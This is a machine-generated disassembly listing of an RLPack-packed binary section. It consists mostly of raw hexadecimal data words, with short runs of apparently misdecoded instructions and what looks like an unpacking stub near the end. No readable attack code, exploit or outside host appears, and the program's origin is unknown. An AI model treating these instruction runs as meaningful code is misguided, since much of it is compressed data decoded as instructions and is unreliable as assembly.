		dd 0E8776A2Ch, 5D1AFF00h, 54E1E68Eh, 8AF80045h,	0C6CC55Ah
		dd 731DCD76h, 0E903E28Fh, 0F0E5B2C8h, 0EF92F6Eh, 68B1BB8h
		dd 7AAE4400h, 5B006A82h, 0E7B16F19h, 0E907975h,	0F777705Fh
		dd 0AE63C4E7h, 181ED6C0h, 0B901FA56h, 0A2D5A96Ch, 0FFC80399h
		dd 68E40040h, 988011DCh, 409F38B4h, 8D1CD7h, 48261B2Bh
		dd 0CEDF0919h, 72100300h, 0F90E4EB0h, 0C63600F8h, 979D15E4h
		dd 0AB0005BAh, 20097417h, 0EE2E9912h, 48900089h, 0EC4FE449h
		dd 3C075BD6h, 0DCB9B66Fh, 9942C910h, 0C86900EDh, 65E3C27Ch
		dd 7302D063h, 789083FAh, 0A3B94095h, 470A0EDBh,	0BC2075EFh
		dd 1DCCA4BEh, 30D8F900h, 4DDBD7CFh, 0D6180033h,	0DFBE8D84h
		dd 17F8D26Dh, 4BC92200h, 0A9DC1504h, 28A80131h,	569F068Ah
		dd 882DFC8Fh, 5A7DF500h, 7A90DD71h, 290D004Ah, 0CCBDD345h
		dd 0C901CE4Ch, 5D54F78Ah, 64CC5E0Eh, 0E417FD7h,	31894DB6h
		dd 0FE1C03Dh, 555C73ADh, 0B5446200h, 0B31904A5h, 0C3C7005Eh
		dd 54FDD9A6h, 130F68ADh, 677BE26Dh, 6F40EB47h, 0EF025Bh
		dd 0C48B34DCh, 5E70DB5Dh, 78FC8E2Eh, 75444900h,	9A1DADh
		dd 0A77CFEDEh, 85F2EA78h, 48EF6F2Eh, 37005A16h,	19943383h
		dd 0EC140090h, 8A22081Ch, 0DF16B2E1h, 0F4009EFFh, 56E6ACDCh
		dd 0E21000CAh, 7753BF64h, 0B798332h, 0A7D3E400h, 414DAED4h
		dd 0FC8500F5h, 165E2593h, 69003E62h, 21C8C95Ch,	3BD7FB03h
		dd 0E68ECB33h, 0F4078555h, 10E30023h, 100545Bh,	80FDC0A3h
		dd 0AEEDCBh, 3A4A8513h,	4B70AAB7h, 0E5D24800h, 51193CB8h
		dd 3D37221h, 0AEB618D0h, 63908AA3h, 0D600EF36h,	0AF32D45h
		dd 997E92h, 0EC27DC1Ch,	0D1492342h, 8C71DCE3h, 4FB38700h
		dd 0EA3B8812h, 0E7B700DCh, 0A47319D9h, 9E162CD8h, 8C00E180h
		dd 8A93756Bh, 0ACC800AFh, 0EFC69D4Ah, 0D200B86Eh, 36336266h
		dd 704D6Fh, 1DFC869Bh, 8EE3AC37h, 0D8E02800h, 0DE429724h
		dd 0B5A20017h, 0C6C4C96Ch, 51075A4Eh, 0C8A15D74h, 22313CD0h
		dd 5EE49Ch, 47733752h, 0B3389787h, 8FFD5600h, 75908069h
		dd 0E586003Dh, 94434963h, 0B8588BC3h, 2404005Bh, 7DB5D916h
		dd 6E500069h, 0A44DF3ADh, 89034BC3h, 1287DB55h,	8504F8FBh
		dd 0EE7000D8h, 0C1275115h, 21013057h, 0F77C592Ah, 65307A3Ah
		dd 1D10004Ch, 56A59E24h, 9A03C0E2h, 20552611h, 0DF22F87Eh
		dd 806C00E8h, 36FAAF6Dh, 4FAC808h, 2800107Ch, 476BE0A0h
		dd 50F29Eh, 48E6E9D2h, 499DBD85h, 89FFE300h, 7808B416h
		dd 0A68D0061h, 4FCB5EA0h, 3D003301h, 25880911h,	1DD83Fh
		dd 747CDB4Ch, 31B09F6Fh, 9AB27200h, 1C4D69F6h, 0F8100055h
		dd 0CC8E38ADh, 0E7062274h, 2D1B0384h, 1E5C00B4h, 3B4A088Dh
		dd 210F1898h, 0C0DE73C6h, 0B3550716h, 0DC7907F7h, 0E1D61A4Dh
		dd 0D44AF1B5h, 0C700673Ch, 38277CE4h, 31729Eh, 0C0C56808h
		dd 2ABE800Dh, 0DF9F9100h, 0D35C5022h, 159B005Dh, 87DC61Fh
		dd 0AF00DC3Eh, 0E6483A63h, 5CEC7Ch, 9F9B85EFh, 8874A7FDh
		dd 47B11C00h, 1E3FDC19h, 0B42C1F4Ch, 30068E10h,	0BDDBA6C0h
		dd 590055DEh, 0A44C2F78h, 1D665Fh, 0EFF9672Ah, 0E30E5BE1h
		dd 0AAEB0901h, 0DEA22989h, 0E0EC4B70h, 144B004Dh, 16C2D4AEh
		dd 0AA009E76h, 0B7E00FB4h, 0DFFA2Fh, 4C439BB9h,	2049B1C5h
		dd 0E67EF401h, 19AEAF95h, 86E8FFE5h, 501838CCh,	5CEBC600h
		dd 9AA1EEB7h, 3B326B01h, 1158B088h, 0E04CC1F4h,	0FE1A00F5h
		dd 0A4D8E21h, 0C000DA48h, 5191D5EEh, 165F32CFh,	0DB688h
		dd 7C206092h, 2F0021ADh, 664F346Ah, 0D78458h, 10172C9Eh
		dd 240D69DFh, 1F8B5B00h, 7D26ADBFh, 0D5A700DDh,	9283BA4Ch
		dd 0C800ECB6h, 96739D95h, 0F637CF67h, 27D3004Dh, 0D5D9CE0Ah
		dd 0EC003E75h, 0F001C228h, 0EBAB445h, 0B1D41D39h, 63B0C35Fh
		dd 0C0E5F7A2h, 116FA412h, 2DD1370Fh, 5F77013Eh,	50E4B919h
		dd 78313FF3h, 86FA2300h, 0B8A01395h, 0F3AD5Ch, 6C199253h
		dd 0A3D9BE7h, 7081687Dh, 8FA800EFh, 951C43EFh, 69376007h
		dd 0C1A0CA41h, 0E2E1ADDh, 4813C4C7h, 8E78B220h,	350053EDh
		dd 1AFCA23Dh, 0EC04CBF5h, 2C10366h, 0A30ECCDEh,	2A9B4AF0h
		dd 7211D3Ah, 13FB5D3Bh,	0A0735403h, 0F1092Bh, 0BB96D6A0h
		dd 0F54BD0AEh, 7162051Fh, 0ECFCCBC0h, 1FF6EF52h, 7B178B8h
		dd 0B04CA936h, 0DF2A0523h, 0B29E4F30h, 1B0F80h,	3E96E82Fh
		dd 0E62266C0h, 34E47A00h, 318AA73Fh, 0A163000Ah, 0FB809C2Eh
		dd 1C0083A6h, 0B64AC187h, 0EBD397Ah, 6857243Bh,	0CA2A4340h
		dd 0EA009975h, 6D732E50h, 497458h, 5E687BCCh, 0F6DF35D6h
		dd 910D2800h, 7F58454Fh, 75FB2FB9h, 990099DCh, 0FDCBAC48h
		dd 707460h, 7E416FB8h, 33DA270Ch, 155BB000h, 7312994h
		dd 385901A6h, 0CFBA823Ah, 0C648E4E7h, 884D0200h, 0F1B8B110h
		dd 35150BF6h, 0CB008FF0h, 0F37B6CFBh, 6A004F5Bh, 0DA717902h
		dd 492000F1h, 7A14B684h, 0C000F7CAh, 1E2EF6AAh,	0F89674DBh
		dd 0FD6C3B52h, 0D0D22B00h, 0BCD5F3EDh, 0AD0F40E6h, 0EF75BF4Fh
		dd 0BA005771h, 32E82C1Ah, 0D3D0FE4h, 0BD2069D4h, 0ED23B8DDh
		dd 46B95703h, 0C0353F52h, 0EFEE0C0h, 3CE65BC7h,	8302DF60h
		dd 500ED9C8h, 1CD25E3h,	427D4E2Fh, 45A7E8h, 33875190h
		dd 99E523A6h, 0BBF48100h, 6AC06491h, 96EECEh, 3265DB8Eh
		dd 0C90DEB07h, 0CA4B7E00h, 5472853Eh, 3C0A00C1h, 0AC32E221h
		dd 0E4002830h, 0E0DE570Dh, 72ECF29h, 0F3E661C9h, 7BF770BBh
		dd 0ED3D4679h, 92300052h, 0B80234F1h, 0A7B41C87h, 0AEEE64h
		dd 2E6E91F7h, 7A00E1BEh, 5C8E92C1h, 1356FBA9h, 0A4554Ch
		dd 719D1B80h, 0E80E5F1Fh, 0C046F5B2h, 0D6E5075Bh, 33510047h
		dd 0B627CF64h, 2D0F5A3Bh, 374A4661h, 0C0751EFFh, 9E93554Fh
		dd 6F724C10h, 3BFF1500h, 0E1731DFDh, 0FA7B0053h, 0A118B86Dh
		dd 0C30076F7h, 0BEFB08CFh, 78C13C2Bh, 6DB00033h, 58359E2Fh
		dd 0AF3C0A88h, 0C6478BB6h, 0E0D78E32h, 515345DCh, 9A3B006Fh
		dd 4C937440h, 681FCFB2h, 1DC0770Dh, 446A855Ah, 0F70FE3Ah
		dd 0F23FC8A4h, 0DD313960h
		dd 0B27B53C0h, 0D29F5700h, 0A78BEE35h, 0FB930AC4h, 859297h
		dd 40ED5FDh, 0D300EBE7h, 27688759h, 7C9B45h, 703FC9Fh
		dd 0F0082854h, 58200A1Dh, 6378F580h, 3569B0Dh, 8291A46Bh
		dd 24E0E0A9h, 0D70195DDh, 297A080Ah, 99F1D9CBh,	1EC2EDE0h
		dd 8034B07Dh, 8A42FF66h, 0A000DBF9h, 0C6B32D27h, 38681E9Ch
		dd 4A00DA99h, 92941C36h, 260048E9h, 555FA73h, 0E4B0667Bh
		dd 7E3707EAh, 616D2C89h, 0D4124ABBh, 953EDCEBh,	853680A5h
		db 0F2h
; ---------------------------------------------------------------------------


loc_4FD1D9:				; CODE XREF: .RLPack:004FD254j
		std
		not	dword ptr ds:0BF3F009Dh
		cmc
		mov	eax, 4A8E2AB7h
		add	[eax], ebp
		wait
; ---------------------------------------------------------------------------
		db 0FFh, 0EEh, 0F8h
		dd 97C2813Bh, 0C0F601h,	0
		dd 0E0447034h, 86B625Eh, 8C0F861Eh, 80F511C0h, 1706160h
		dd 255F01Ch, 20F10129h,	8530EC1h, 5C0334FFh, 6A107418h
		dd 0E2ADB001h, 9952E103h, 0A32A0004h, 320051F2h, 0EF3196F8h
		dd 3D8A6C7h, 0AD2883E2h, 0C4B88E7Eh, 6A106F9Ah,	800CFDAh
		dd 0E90148E1h, 700F730h
		db 0Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jb	short loc_4FD1D9
		jnz	short $+2
		xor	al, 3Ch
		inc	ebp
		or	[ecx], bh
		dec	eax
		stc
		cmp	[esi], bl
		db	65h, 67h
		lock sbb al, 0F8h
		add	[ebx], dh
		rol	byte ptr [edx+53h], cl
		pop	es
		push	esi
		add	[ebx+41570C70h], cl ; CODE XREF: .RLPack:004FD2A1j
		fcmovbe	st, st(3)
		jecxz	short $+2
		sahf
		xor	[eax+edi*8], al
		jge	short loc_4FD2F6
		cli
		add	[eax], eax	; CODE XREF: .RLPack:004FD291j
		out	89h, eax	; DMA page register 74LS612:
					; Channel 6 (address bits 17-23)
		inc	ebp
		aam	3
		enter	0FFFFC3B8h, 3Fh
		cmpsb
		push	4B3FE080h
		dec	edi
		push	es
		jnz	short near ptr loc_4FD27E+1
		add	ds:0C61C8136h, al
		inc	ebp
		or	edi, [esi]
		add	ebx, [edi]
		pop	ebp
		ror	dh, 1
		jge	short near ptr loc_4FD26D+2
		rcl	byte ptr [ebp-18h], 1
		push	es
		add	[eax-20h], al
		in	al, 80h		; manufacture's diagnostic checkpoint
		fdiv	qword ptr [edx+esi+0Bh]
		add	[ebx-1CF1FBA9h], cl
; ---------------------------------------------------------------------------
		dw 0F3FEh
		dd 0BA3700ABh, 63EAC0Ch, 8400056Ah, 0C807FC79h,	8B59FFh
		dd 55607E75h, 36B60F0Ch, 0E2C10300h, 0FFD60B08h, 492A0037h
		dd 0E975F064h, 3B004D39h, 33807718h, 5E5FC0h, 0F5C2C95Bh
; ---------------------------------------------------------------------------
		mov	bl, 72h


loc_4FD2F6:				; CODE XREF: .RLPack:004FD27Bj
		test	al, 23h
		add	[ebx-7B24E10h],	bl
		adc	byte ptr [esi-14h], 0
		shl	ecx, 4
		add	ecx, ebx


loc_4FD307:				; CODE XREF: .RLPack:004FD31Fj
		push	esp
		cmp	eax, 60100B2h
		lea	edi, [edx+ecx*4]
		jnb	short loc_4FD329
		and	al, 1
		enter	4D80h, 9Bh
		adc	dh, [eax]
		cmp	bl, al
		retf	0BAh
; ---------------------------------------------------------------------------
		loopne	loc_4FD307
		xchg	ecx, [ecx+0F8B3922h]
		add	[esi], bh


loc_4FD329:				; CODE XREF: .RLPack:004FD310j
		lock popf
		out	dx, al
		or	eax, [ebx+75F6F1AFh]
		cmp	ecx, [esp+edi]
		cmp	byte ptr [edi+1], 0FDh
		mov	byte ptr [eax-42h], 0A8h
		aas
		out	dx, al
		sub	eax, [eax+30530C7h]
		push	ebx
		mov	[edi], esi
		add	[eax], ch
		push	0AA819975h
		and	ecx, esp
		push	eax
		lock or	dword ptr [eax], 0
		pop	ecx
		sub	cl, [ebp-2Ch]
		push	es
		jmp	near ptr 9650C233h
; ---------------------------------------------------------------------------
		dd 0ADC46EFh, 0E642EC03h, 0F66904F7h, 80A71485h, 7F87D2Bh
		dd 0E8C8D00h, 161C6CD8h, 7A081DACh, 0F39FC00Fh,	2B7CF040h
		dd 0B9E85000h, 0C84C614h, 1C2C0031h, 0F665D1F4h, 0E030690h
		dd 0E7810875h, 9C30D81Ah, 0CE170F0Ch, 4808E6Eh,	0A648D845h
		dd 2A115D30h, 0ECE6C11Bh, 0C878F3h, 73F10910h, 67A25E1Fh
		dd 50D8CE00h, 89FF85D2h, 0F31003Ah, 0EBA782B0h,	0C2002919h
		dd 8BC62B48h, 0ED1D8Eh,	0A08030CEh, 8D0E89D8h, 5125400h
		dd 81677401h, 781000FAh, 0FF73189Dh, 6106EB02h,	7AC980A6h
		dd 911F009Ch, 36C47548h, 9F0CE22h, 15147300h, 0EBF0311Bh
		dd 6E4E3C12h, 690F8980h, 7C196742h, 0BEA89F3Fh,	92761C03h
		dd 40E1D40h, 3B0B5588h,	53801E7Fh, 0E92B2009h, 9100059Ah
		dd 1F0A9932h, 0E403FD6Dh, 9E09008Bh, 82510612h,	0D1F2A160h
		dd 0C9EAC100h, 0C52DCA9Ch, 0A60D00B4h, 13D4B0AAh, 8A00948Dh
		dd 0AC6E4824h, 1440A23h, 0DD997943h, 0D4E46A07h, 0C3CDC4Eh
		dd 249800E0h, 10321B78h, 67D03D9h, 14EB9148h, 8845C7F0h
		dd 4B35301h, 0C8C181ECh, 0E9D0F8h, 69C354F3h, 0A8818DBh
		dd 35C9B00h, 308ABC8Dh,	565F0149h, 0C3A2D0E8h, 39B28022h
		dd 0AB83B468h, 0B2790ED5h, 0E5E0F8E1h, 44A1350Fh, 0CC094200h
		dd 31A68AECh, 808B0029h, 8E348DC2h, 0D2001973h,	1AE35BA1h
		dd 1258B746h, 1F215543h, 2A47C0F9h, 0A453BA44h,	3752C00h
		dd 8660E0A2h, 167189h, 2151840Fh, 2414553Fh, 52337B03h
		dd 0F001F4C9h, 1F8DC19Dh, 43C7094Ch, 2A8E9B7Eh,	0C8AD097h
		dd 0F2008811h, 16868D1Dh, 5B13E9h, 2B982962h, 90714EC2h
		dd 9F38283Eh, 92C056E0h, 0F2142564h, 60A20082h,	0CA15C41Dh
		dd 780194A7h, 7AEB3209h, 0BAD45437h, 0E43D3890h, 0D3174880h
		dd 0E755B124h, 5EDC9700h, 6F626E59h, 6B6501F7h,	0B31A0414h
		dd 0FD2E3049h, 0BB2EF00h, 0F8A81D46h, 1D147ED0h, 0E84A095h
		dd 0E481C86Eh, 0D0110855h, 94C022F2h, 0A9709FDh, 70ACE8E3h
		dd 0B6D0031h, 98FF3308h, 0E9ECEB4Eh, 99817006h,	384445h
		dd 5A1131D6h, 43BF9460h, 26886100h, 4712E5Ch, 0C433032Fh
		dd 8C285802h, 0EB1465F8h, 0E3621E01h, 0C9844089h, 41915483h
		dd 5FD07910h, 730BD2BCh, 5FB5D54h, 0C4002244h, 0CEFDE351h
		dd 14A200E0h, 1186AD91h, 4302E619h, 8906C9B2h, 1C4D4034h
		dd 0B5D100F3h, 17A4DB7Ch, 0B100142Eh, 0E336020Ah, 0E8FF4832h
		dd 95FA0096h, 17505EEAh, 0D3003EC0h, 1FE2BE6h, 0B1FBB8h
		dd 15222C08h, 0B07A856Eh, 7676F13h, 6DEE5A00h, 0D84605h
		dd 6A7203EBh, 28FD5978h, 8C58B201h, 0C0399C06h,	138B3ED0h
		dd 79B5BBh, 24A711B4h, 120EDB93h, 0C02EA1D0h, 6916919Eh
		dd 151C03B5h, 0A22468D6h, 75089D80h, 0EA0083EAh, 0FA484073h
		dd 1DA0670h, 0D1D28C0Fh, 0D03FCAF0h, 0E35893F9h, 0CB130021h
		dd 0E612C02h, 7DD81DBEh, 1FC7DD0Fh, 70A000B0h, 0A40BC8Fh
		dd 4309EB00h, 3F04E983h, 0D101033Bh, 39DB03E8h,	672B8F0h
		dd 0A002977h, 7596028Eh, 58F8DD0h, 854CEA88h, 0D1A781B8h
		dd 1A7C30D8h, 0B4473300h, 0E87D9908h, 0F1840027h, 8126B914h
		dd 0F21E1588h, 5109DA07h, 9C080FFh, 0E97260h, 25D1D5A1h
		dd 0BE10266h, 4E34B00h,	3F7C8D6Eh, 9E870001h, 9C7D10A9h
		dd 89006B43h, 0E0110326h, 0ECB0ECF8h, 71900EF0h, 3B40F402h
		dd 423577DEh, 1CC00D00h, 0CB062BCEh, 8ACF0003h,	0F43E4A11h
		dd 46E88988h, 92E413Bh,	8F9E8312h, 574E0FAh, 18A33Bh, 0A075E572h
		dd 0FFA3973h, 0AE823107h, 87A2E977h, 40F4C00Bh,	119A0286h
		dd 1044F796h, 5075D0C0h, 46B40817h, 9957B700h, 59096Ah
		dd 5EAF9F7h, 68F85F78h,	9610E000h, 0C0B60A5Ah, 990C1E93h
		dd 0FB7DC0F7h, 9CF0E743h, 86E48500h, 0F44F0AA4h, 0FE2CE029h
		dd 12E55890h, 0C06A501Ch, 94C357FFh, 381C1C1Eh,	7E808DFCh
		dd 0CAA0537Dh, 6CC60083h, 0F01AAE09h, 6E00E8FAh, 9A397EA1h
		dd 54B0680h, 50021EA3h,	8B5BC00Ch, 0DD0F70C3h, 608248ABh
		dd 40E0585Ah, 330400A8h, 2018DAE1h, 70740114h, 57900EE4h
		dd 0E3100807h, 0E860F2ADh, 1FB93584h, 0E029295h, 89200528h
		dd 244BAFA4h, 0A0637001h, 0A94A238h, 985EA870h,	0EE2AF4B2h
		dd 910D03D0h, 838420E3h, 561C1888h, 4C0F777Dh, 74AE11Dh
		dd 4370108Ah, 11B8960h,	0D0E2AD70h, 80883DFDh, 67525030h
		dd 1834078h, 3813571Dh,	0E801F968h, 707BE802h, 0DC618E00h
		dd 56575309h, 0A47071h,	0ED815D0Dh, 8C134C30h, 43B58D0Fh
		dd 468B81C0h, 1DD883FCh, 0F02B0004h, 0A4DEBDBCh, 90B3756h
		dd 0F801C76h, 1F2F606Fh, 0AD32C5h, 900220ABh, 48137B83h
		dd 26E425B8h, 85447300h, 0B90EDCF6h, 83230569h,	7BA7A3h
		dd 0A4F3FAB4h, 2200CFEFh, 1391B58h, 6F1A2Fh, 61630604h
		dd 851EFFF9h, 0E8511C00h, 90F24A46h, 8B600001h,	31892C4Eh
		dd 4B002B8Dh, 0C723406Ah, 7B5124h, 2137958Ch, 27853089h
		dd 0C10D58h, 0C4BF92F6h, 7D1DBD72h, 0FC00003h, 0C164949Bh
		dd 59004028h, 0E552550Ch, 19E90h, 85349AC2h, 897761C9h
		dd 0EC004976h, 46C45108h, 180647h, 0A7B746Eh, 1AAA958Bh
		dd 9E8DCD38h, 44000DAEh, 3A228A75h, 2DEB000Ch, 8057C1F7h
		dd 1300747Ch, 0C0E18152h, 517F97h, 785338Dh, 0E115031h
		dd 401F3F00h, 26A14C89h, 521001Dh, 71C8ED60h, 52006741h
		dd 54D8D23Fh, 10D96D0h,	85106A31h, 201C44ABh, 407B48DAh
		dd 8AEB0816h, 1237DF02h, 757FC0DEh, 81430405h, 80404B36h
		dd 0F702036Eh, 0E906C600h, 3EC3C183h, 4289009Ah, 0C225880Bh
		dd 0B34C02D2h, 0D694006Eh, 3769577Ch, 90140019h, 990FB548h
		dd 0DA003BA6h, 30C4620h, 95D05C7h, 0C35B5F5Eh, 49C48D80h
		dd 381EBBFCh, 0DC344E8h, 0E806EB81h, 60E0073Fh,	51CB8A30h
		dd 9300FF24h, 0E92A49A9h, 46A2CBAh, 39C37E14h, 4D0EC0D3h
		dd 201073Bh, 0EE521674h, 50FC49BFh, 93E22890h, 0AB450080h
		dd 4C2835Ah, 0E400EB2Ch, 6AC3007h, 1FCDC575h, 801EC9AFh
		dd 0F4017A83h, 44F6D051h, 0B866C100h, 9E105D08h, 0BDAD0024h
		dd 0C2030787h, 0A9A089E0h, 996BA6F4h, 56B500E8h, 0E2E821h
		dd 8E1A165Ch, 81C9493Eh, 743C5800h, 240B620Ah, 66304CFEh
		dd 9C07EB00h, 5501892Eh, 0B70FF800h, 62A91046h,	751D0EAAh
		dd 0FBE0E57Dh, 84428732h, 6C7AAD00h, 0C7FC9260h, 125E0340h
		dd 750336C0h, 0CF3B4000h, 625347Dh, 60B0FA46h, 0FC1E5CD0h
		dd 0D3FEE82Ch, 0FEA07400h, 75D78AC8h, 2A1C0063h, 0DB0C23Ah
		dd 3900C166h, 0C08408E8h, 0C48610h, 1061ED1h, 0C61C807Ch
		dd 73FD041Ch, 0C8EB41C5h, 0BE90C9C0h, 74140046h, 2A3B3537h
		dd 8A003055h, 16F711ABh, 0C21F4Ch, 0F0FD78E9h, 5117355Ah
		dd 39098E0Eh, 833400F8h, 6602ECh, 122E76FEh, 0A708D652h
		dd 590018F0h, 0B0491C8Eh, 574D3Fh, 42B347E6h, 1741B1E5h
		dd 0BEDF1F03h, 0D05027A6h, 0ECD0ADEh, 642CED43h, 264D7480h
		dd 5E0073E0h, 4B287D18h, 0F8B208h, 0F90BC171h, 3A5F302h
		dd 0E1832D00h, 7BFF91EDh, 16430004h, 52A43DFAh,	1900D1A8h
		dd 0CA42AB7Ch, 35AAA12h, 683B7BD3h, 0D2903D32h,	0C32EA604h
		dd 6A1C6005h, 54E32180h, 17039C8Ah, 2479Ah, 5251F01Fh
		dd 91008D56h, 458A46CAh, 8942D6h, 7DBF98BBh, 0D426B8ECh
		dd 1E486E00h
		dd 3614C82Bh, 5EA803B2h, 0C47C2099h, 0B1030490h, 0BB465D00h
		dd 0E4862D0h, 0C95233F4h, 7298F5E0h, 8B0019A8h,	0BF51C72Fh
		dd 7306671Eh, 0E1D000ECh, 0C67440C8h, 7704B54Bh, 29125146h
		dd 7F36C180h, 0BBED3B8Fh, 0CAEB0980h, 901BAC5Ah, 3B3EFA00h
		dd 0E75307Dh, 211FCF9h,	9FCCDAA3h, 0F4400640h, 0AA070FFFh
		dd 0C731090h, 2BEF002Bh, 499CD4h, 0CEE35EB8h, 0B45DA4Eh
		dd 1C40AB2Eh, 5D922D0Eh, 0F6CBCF80h, 77F018Dh, 0D0529B2Ch
		dd 4C82E076h, 51095C39h, 6D4B6h, 8032434h, 0E9895C3Eh
		dd 0C4E3F7Dh, 7ECED009h, 0FF677F80h, 0A0007B21h, 53515750h
		dd 1FE827h, 1B042DA9h, 0DF888D48h, 680843Dh, 9CC5EB14h
		dd 6D73B0h, 0D6E56276h,	0C7C2E465h, 45201A00h, 9683890Ch
		dd 0D0B600B1h, 1CAE4210h, 440F46F6h, 0A0EF938Bh, 73AF384Eh
		dd 83D20258h, 5922A79Fh, 30E131C0h, 0EB3ACDFEh,	126307A1h
		dd 0D0703B10h, 0CE65C9h, 55B1017Dh, 0E9D28514h,	0D6F50200h
		dd 0D8AF6D9h, 64C75CF2h, 7E3E0076h, 4474B8C2h, 7F039152h
		dd 842538A9h, 23E49809h, 0EBE0006Ah, 0F4050E5Ah, 0D30A4103h
		dd 95CF66D6h, 0B38C4000h, 1F2249h, 86685A69h, 0B04D6F6Ch
		dd 2E4B900h, 0BB2C5496h, 0ACEB038Ah, 569C239Dh,	0FC4484F0h
		dd 7B6F5500h, 62AF35Ch,	0F12B0030h, 0E8D2D089h,	1C011290h
		dd 0C484D3Bh, 13300A66h, 0FA3600F3h, 27FC6B61h,	2A004B6Dh
		dd 1C20111Ah, 3BB6055Eh, 0B9803C40h, 38D1448h, 1800017Ch
		dd 0D027C783h, 5E9C1CFh, 0E17360B0h, 76928032h,	4B00DB50h
		dd 0FB3A8225h, 98A011Eh, 0F641A807h, 88D1F480h,	440059E1h
		dd 1EE7501Dh, 3A58EE5h,	85C86542h, 9AB80DACh, 2203177Ah
		dd 0CCAA790h, 0B033AB25h, 0F5CAFFAh, 4A69CF42h,	0B2017BA0h
		dd 8000B88Dh, 78AB2DA3h, 15568Bh, 0A6178934h, 0BB4832BDh
		dd 7041C702h, 0E1696C10h, 7C4745Eh, 206E006Fh, 0DC1E7265h
		dd 121E53F8h, 1787F79Dh, 2EF0FF75h, 1685403h, 3C8CEF65h
		dd 0F464EC63h, 14001BDBh, 0CB357325h, 97E76Ch, 0D474676Eh
		dd 0EDBE1E62h, 0FD366100h, 0E364BB69h, 4C440053h, 3584478Eh
		dd 2CF682CCh, 6C6E6100h, 0AF33F420h, 242A0038h,	639D2757h
		dd 4807362Fh, 9B737528h, 803233E2h, 61F278E3h, 0E670F7Bh
		dd 41006F42h, 8F74770Fh, 66E8637Fh, 6B143703h, 886C8E38h
		dd 0FA0A453Fh, 50FC69h,	0C14C4DA4h, 68C0B043h, 0E786486Fh
		dd 4F80FD64h, 9E2F570h,	0FC4718B1h, 4200D68Fh, 1C9B6CC4h
		dd 567C0707h, 0FAD17269h, 7E8034A0h, 6E52638Eh,	761D2A9Ah
		dd 9476493h, 95D04882h,	0BF4A3ABh, 0CC6D0138h, 62001289h
		dd 3C125089h, 32482500h, 49697A30h, 18D7F9Ch, 0A8119A5h
		dd 0C0D8EE01h, 74388B60h, 7C74F424h, 0B2FC2800h, 0A4DB3380h
		dd 0E80217B3h, 7335816Dh, 0E5C9F1F6h, 97094564h, 0C5B95BAh
		dd 41362309h, 3410B03Eh, 0DDC7194Fh, 3F75F7E0h,	0D4EB3FAAh
		dd 2B1D4D31h, 2E22F3CBh, 28EB0F42h, 9334D1ACh, 40C9131Eh
		dd 0C148911Ch, 0F5FD08E0h, 3D2D9C2Ch, 0A7D7D18h, 5FC3A80h
		dd 0F8830683h, 8C71777Fh, 0C58B9503h, 0A85601B3h, 0F02BF7h
		dd 0EB5EA4F3h, 75D2028Eh, 168A0507h, 0C3761246h, 0E84117EAh
		dd 8623C6EEh, 0FC1E7EEh, 2BC3F272h, 6899A53h, 0C2611C08h
		dd 0D4E0990Ch, 600838BEh, 9640816h, 180BCE0Ch, 2C21CB28h
		dd 405F4CE4h, 2245423h,	0FA25B809h, 0E360F04Dh,	10E0129Eh
		dd 1418901h, 424548Bh, 170C52D0h, 0E902C6h, 0CA2B05FEh
		dd 0FC504A89h, 0B800C3D1h, 12345678h, 0A0058F64h, 0C48353h
		dd 51535504h, 8D525657h, 67CF9875h, 5D188F8Bh, 406AE803h
		dd 38166568h, 0AE8CC7FFh, 8E4B9E1Fh, 1AFCA03h, 0A35AD087h
		dd 383D50F8h, 20438733h, 8B1C203h, 23DF4B89h, 0E331C14h
		dd 0C4C20F2h, 50228D66h, 0D1FF0F94h, 9B9E585Ah,	5A255C08h
		dd 50DC92F0h, 56891BDBh, 4EB04508h, 0D77BFF14h,	133F851Bh
		dd 4B363ED1h, 6BEB5A9Bh, 0C080D420h, 11FF57CEh,	5A03C68Bh
		dd 5B595F5Eh, 85E0D35Dh, 80AD012Fh, 0
		dd 0E86000h, 8B000000h,	0C483242Ch, 53B58D04h, 8D000003h
		dd 2029Dh, 0E8FF3300h, 145h, 74FF0FEBh,	34FF0437h, 83D3FF37h
		dd 0C78308C4h, 373C8308h, 8DEB7500h, 53043774h,	68406Ah
		dd 68000010h, 48h, 95FF006Ah, 2E8h, 34F8589h, 0FF5B0000h
		dd 34FB5h, 0D3FF5600h, 8B08C483h, 34FB5h, 0EBC68B00h, 38804001h
		dd 40FA7501h, 0CDE8388Bh, 83000000h, 858904C0h,	34Bh, 93E9h
		dd 95FF5600h, 2E0h, 840FC085h, 0AEh, 3478589h, 0C68B0000h
		dd 858B5BEBh, 34Bh, 0A9008Bh, 74800000h, 3514h,	8B508000h
		dd 34B85h, 2000C700h, 0EB002020h, 4BB5FF06h, 0FF000003h
		dd 347B5h, 0E495FF00h, 85000002h, 896B74C0h, 4C78307h
		dd 34B858Bh, 1EB0000h, 388040h,	8940FA75h, 34B85h, 78816600h
		dd 74800002h, 3880A5h, 1EBA075h, 3E8046h, 4046FA75h, 35E8388Bh
		dd 83000000h, 858904C0h, 34Bh, 0F013E80h, 0FFFF6485h, 400068FFh
		dd 48680000h, 0FF000000h, 34FB5h, 0EC95FF00h, 0E8000002h
		dd 55h,	2EEAE961h, 0C361FFF0h, 858B5350h, 33Fh,	0E74C00Bh
		dd 337858Bh, 5C8B0000h,	0F82B3024h, 585BFB03h, 858B60C3h
		dd 33Fh, 2374C00Bh, 337858Bh, 5C8B0000h, 11EB4824h, 4374429h
		dd 4375C01h, 1370429h, 0C783371Ch, 373C8308h, 61E97500h
		dd 0B58B60C3h, 33Fh, 6774F60Bh,	337BD8Bh, 448B0000h, 85894824h
		dd 33Bh, 5374C73Bh, 4AEBF003h, 468B168Bh, 43858904h, 1000003h
		dd 343B5h, 8C68300h, 0B70F2CEBh, 0C1D88B06h, 0CB8B0CEBh
		dd 1000DB69h, 0C32B0000h, 8503C203h, 33Bh, 7503F983h, 8B38290Ah
		dd 33B8Dh, 83080100h, 0B53B02C6h, 343h,	3E83CC72h, 61B17500h
		dd 748B60C3h, 7C8B2424h, 0B2FC2824h, 0A4DB3380h, 6DE802B3h
		dd 73000000h, 0E8C933F6h, 64h, 0C0331C73h, 5BE8h, 0B3237300h
		dd 10B04102h, 4FE8h, 73C01200h,	0AA3F75F7h, 4DE8D4EBh
		dd 2B000000h, 0E81075CBh, 42h, 0D1AC28EBh, 134D74E8h, 911CEBC9h
		dd 8E0C148h, 2CE8ACh, 3D0000h, 7300007Dh, 5FC800Ah, 0F8830673h
		dd 4102777Fh, 0C58B9541h, 8B5601B3h, 0F3F02BF7h, 8EEB5EA4h
